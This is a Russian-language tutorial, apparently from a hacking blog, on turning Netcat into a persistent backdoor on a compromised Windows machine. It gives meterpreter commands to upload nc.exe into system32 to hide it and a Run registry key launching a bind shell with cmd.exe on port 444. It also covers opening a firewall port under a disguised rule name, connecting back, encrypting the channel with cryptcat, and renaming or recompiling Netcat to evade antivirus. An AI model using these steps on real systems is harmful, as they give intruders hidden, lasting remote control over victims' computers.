В этой статье мы рассмотрим, что можно сделать с помощью сетевой утилиты Netcat - "швейцарского армейского ножа" сетевых инструментов.
Введение
Netcat - это сетевая утилита, которая может читать и записывать данные на порты UDP и TCP. Ее часто называют швейцарским армейским ножом среди хакерских инструментов, поскольку она может выполнять несколько функций как клиента, так и сервера во время хакерских приключений. Мы часто используем его для создания bind- и reverse-оболочек вокруг отчетов, чтобы посмотреть, что происходит, и пересылать файлы между машинами. Оболочка - это способ взаимодействия с компьютером, подобный командной строке в Windows или терминалу в Linux. Netcat позволяет нам выполнять множество вещей, таких как обратные шеллы, осуществлять связь между двумя или более компьютерами и выполнять множество функций. Netcat способен выполнять сканирование портов и подключаться к открытым портам с помощью простых командных аргументов. Он также способен пересылать файлы и обеспечивать удаленное администрирование как через прямую, так и через обратную оболочку.
Использование Netcat в качестве персистентного агента
Netcat - чрезвычайно универсальная и полезная программа. Ранее в этой статье я уже упоминал, что она используется для связи между двумя компьютерами. Она также может быть использована, если вы хотите установить постоянство. Netcat можно использовать в качестве черного хода. Итак, начнем с создания постоянной оболочки на взломанной системе с помощью Netcat. В качестве имени исполняемого файла мы будем использовать -nc.exe. Но если переименовать его перед использованием, то шансы на обнаружение будут минимальны. Однако и после переименования антивирусная программа может его обнаружить. Многие хакеры изменяют некоторые ненужные элементы исходного кода Netcat и перед использованием перекомпилируют его. Эти изменения делают Netcat невидимым для антивирусных программ.
В Kali Netcat хранится в каталоге /usr/share/windows-binaries. Чтобы загрузить его на скомпрометированную систему, используйте команду из meterpreter:
1 | meterpreter> upload/usr/share/windows-binaries/nc.exe C:\\WINDOWS\\\system32 |
В этой папке находится большое количество типов файлов, поэтому для скрытия файлов во взломанной системе это лучшее место.
Если у вас нет соединения с meterpreter, для передачи файла можно также использовать тривиальный протокол передачи файлов.
На следующем этапе необходимо настроить реестр таким образом, чтобы при запуске системы запускался Netcat, и убедиться, что он прослушивает порт 444. Используйте команду, приведенную ниже:
1 2 3 | meterpreter> reg setval -k HKLM\\\software\\microsoft\\\windows\\\ currentversion\\\run -vv nc -d 'C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe' |
Теперь, когда вы использовали вышеупомянутую команду, используйте следующую команду queryval, чтобы убедиться в успешной реализации изменений в реестре.
1 2 | meterpreter> reg queryval -kHKLM\\\software\\\microsoft\\windows\\\\ currentverion\\\run -vv nc |
Откройте порт на локальном брандмауэре, чтобы убедиться, что взломанная система будет принимать удаленные соединения с Netcat, используя команду $netsh. Знание операционной системы объекта атаки имеет первостепенное значение. Контекст командной строки, используемый для Windows Vista, Windows Server 2008, выглядит следующим образом
1 | netsh advfirewall |
Для более ранних систем используется команда $netsh firewall. Для добавления порта в локальный брандмауэр Windows введите команду shell в приглашении meterpreter, введите правило с помощью соответствующей команды. Для корректной работы системы при именовании правила следует использовать имя пользователя типа 'svchostpassthrough'. Пример команды показан ниже:
1 2 | C:\Windows\system32> netsh firewall add port opening TCP 444 "service pass-through" |
Для подтверждения успешной реализации изменения выполните следующую команду:
1 | C:\windows\system32> netsh firewall show port opening |
После подтверждения правила порта убедитесь, что опция перезагрузки работает.
Введите следующую команду из приглашения meterpreter:
1 | meterpreter> reboot |
Введите следующую команду из интерактивной оболочки Windows:
1 | C:\windows\system32> shutdown -r -t 00 |
Для удаленного доступа к скомпрометированной системе введите в командной строке команду $nc, укажите степень подробности соединения (-v и -vv сообщает основную и более подробную информацию соответственно), а затем введите IP-адрес цели и номер порта.
1 | nc -v 192.168.43.128 444 |
К сожалению, Netcat имеет некоторые ограничения, заключающиеся в отсутствии аутентификации передаваемых данных, что может быть обнаружено антивирусными программами. Однако проблема меньшей зашифрованности может быть решена с помощью cryptcat, который является альтернативой Netcat. При передаче данных между эксплуатируемым узлом и злоумышленником он защищает их с помощью шифрования Twofish. Не будет ошибкой сказать, что он обеспечивает достаточно надежную защиту зашифрованных данных.
Убедитесь, что слушатель готов и сконфигурирован с надежным паролем, чтобы использовать cryptcat, выполните следующую команду:
1 | sudo cryptcat -k password -l -p 444 |
Следующим шагом будет загрузка cryptcat на взломанную систему и настройка его на подключение к IP-адресу слушателя с помощью следующей команды:
1 | C:\cryptcat -k password <IP-адрес слушателя> 444 |
К сожалению, Netcat и его разновидности могут быть обнаружены антивирусным ПО. Если использовать шестнадцатеричный редактор для изменения исходного кода Netcat, то есть вероятность, что Netcat останется незамеченным. Но это долгий процесс проб и ошибок. Более надежным подходом является использование механизмов персистентности фреймворка Metasploit Framework.
Заключение
NETCAT - это швейцарский армейский нож, который используется для эффективного взлома. Он может выполнять несколько функций для доступа к серверу и клиенту. В этой статье дано краткое описание функций и использования NETCAT. Я надеюсь, что вам понравилось, если эта статья помогла вам, то поделитесь ею со своими друзьями. Не стесняйтесь спрашивать о любых вопросах, касающихся NETCAT. Вы также можете поделиться своим мнением и более подробной информацией.